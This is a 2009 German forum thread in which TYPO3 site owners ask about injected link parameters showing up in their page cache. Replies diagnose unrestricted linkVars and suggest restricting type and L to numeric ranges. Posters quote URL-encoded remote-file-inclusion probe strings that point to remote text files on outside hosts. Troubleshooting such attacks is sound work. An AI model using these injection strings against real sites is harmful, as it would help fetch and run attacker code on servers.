Zum Inhalt springen

seltsame links - Typo3 infiziert?

Erstellt am 28. April 2009 · 8 Antworten · letzte Antwort am 1. November 2009

Tags: Links, Sicherheit, Frage

quba ·

Hallo zusammen,

ich habe seit einiger Zeit seltsame Phänomene in Typo3.
Vllt hat einer von euch ne Idee.
Ab und zu sind links auf meiner Seite "verunstaltet" D.h. sie haben einen komischen Zusatz wie z.b.:

index.php?id=7&type=http%3A%2F%2F%www.pattibus.it%2Fphplib-7.2b%2Fpages%2Filosi .... usw.
lösche ich alle Typo3 Caches ist alles wieder ok.
Aber nach ein paar Tagen sind die Links wieder da und es sind immer andere.

Ist mein Typo3 irgendwie infiziert wenn ja, wie kann ich es wieder säubern?

Vielen Dank für Eure Hilfe.
Gruß
quba

quba ·

Hallo,

vielen Dank für die schnelle Antwort.
Umgeht das nur das Problem, oder was ist das mit dem Bot?
Hat sich der bei mir eingenistet oder was bedeutet das?

quba

just2b ·

das problem ist einfach, dass du für die variablen alle Werte erlaubst. wenn die seite nicht gecached aufgerufen wird inkl dem parameter, bleibt der im cache und wird, da es sich bei type und L um vordefinierte parameter handelt, weitergegeben.

mit dem stellst du sicher, dass wert eine zahl zw 1-3 sein muss.

einigenistet hat sich gar nix

Unbekannter Benutzer ·

Hallo,

ich kämpfe mit einem analogen Problem, doch scheint das Setzen von config.linkVars = type(1-3),L(1-3) (wohin schreiben? ich wählte constants des Root-Templates) bei mir nicht die Generierung solcher Links: http://www.eilenburg.de/index.php?id=hotels&L=0%2F%2Fadministrator%2Fmodules%2Ferrors.php%3Ferror%3Dhttp%3A%2F%2Fwww.gsmch.org%2Fclub%2Fchi.txt%3F%3F
zu verhindern.
Ich habe den Cache gelöscht und eine Stunde später hatte ich wieder solche verunstalteten Links in der Datenbank in cache_pages.

Habe ich etwas übersehen?

hg carli_eb

Unbekannter Benutzer ·

ich habe es jetzt von den constants ins setup genommen, alle caches geleert und schaue mal, ob diese Linkanhänge damit wirksam unterdrückt werden.

Ich melde mich wieder.

Danke schön.

Unbekannter Benutzer ·

Ich verstehe nicht den Unterschied, wenn ich diesen Eintrag (config.linkVars = type(1-3),L(1-3)) in constants oder setup vornehme.
Jetzt wo es in setup steht, habe ich seit über 24 Stunden Ruhe vor diesen Linkwurm ...0%2F%2Fadministrator%2Fmodules%2Ferrors.php%3Ferror%3Dhttp%3A%2F%2Fwww.gsmch.org%2Fclub%2Fchi.txt%3F%3F
Es scheint also zu funktionieren. Ich freue mich.

hg carli_eb